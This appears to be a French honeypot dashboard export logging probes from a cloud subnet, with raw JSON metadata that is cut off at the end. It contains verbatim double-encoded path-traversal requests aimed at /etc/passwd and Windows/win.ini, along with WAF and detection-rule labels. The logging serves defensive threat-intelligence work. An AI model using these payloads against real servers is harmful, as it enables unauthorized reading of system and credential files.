Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8009 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "7309885c09d2fdd4bd8fad5ee4a09d33022b5e58",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.352983936157643,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8009,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.2,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 54,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "e5e7d1fde4f1d90d23a82d2cebcec1dc2659a8a8",
"event_fingerprint": "e2e50ec6b84c4699fc85a2c811b0def81cf1a2a4",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "6d39acee5dbd3049a40ddf03970207f5",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8009,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f0c006df1ba1f1deed701fe647e25004af8d8558",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8009,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "port scan syn \u00b7 via HTTP:8009 \u00b7 (reconnaissance)",
"target_port_label": "8009 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8009,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8009,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8009 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8009 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8009"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 21,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:53 UTC
TCP
8002 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8002 · (tentative d'exploit) · → /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%…
Élevée
Élevé · 68
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8002
Chemin / cible
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
Http Lfi
pat-0716
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
LFI path /etc/passwd
Ligne de requête
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
Requête brute (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8002 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "4bf8551ab67c46125f3e3e97fd83a71af6e16755",
"http_target_hash": "47675bd2bfeb14823e0d442f0375d8c7248caf88",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 339,
"payload_entropy": 5.1453959458633065,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8002,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "f50597c61cad532fb6b9316d1013021ef9d7e07f",
"event_fingerprint": "fc435a0ce1840da51df80d0cee878f64442148c2",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 457,
"precision_signals": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137",
"CRS-930100-sub",
"INT-upstream"
],
"kb_rule_ids": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0716",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "2927359cef2555273c4edb1044dc3b7f",
"path_pattern_hash": "82b384efd9ccbe154a2872539486157a"
},
"target_context": {
"dst_port": 8002,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "13d18e39c8773fe25822111fa40d5805493bb491",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8002,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8002 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"target_port_label": "8002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8002,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"Http Lfi",
"pat-0716",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8002,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8002 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"target_port_label": "8002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8002"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 21,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:53 UTC
TCP
8002 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8002 · (tentative d'exploit) · → /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%…
Élevée
Élevé · 68
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8002
Chemin / cible
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
pat-0715
CRS-930100-sub
Upstream
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
Ligne de requête
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/wi
Requête brute (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8002 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "4bf8551ab67c46125f3e3e97fd83a71af6e16755",
"http_target_hash": "b32cff996f138fc51ce84f8a9a846c903d796431",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 344,
"payload_entropy": 5.160615350674293,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8002,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "f50597c61cad532fb6b9316d1013021ef9d7e07f",
"event_fingerprint": "c8932f14fc33ba19480bca03de82691706dbc89e",
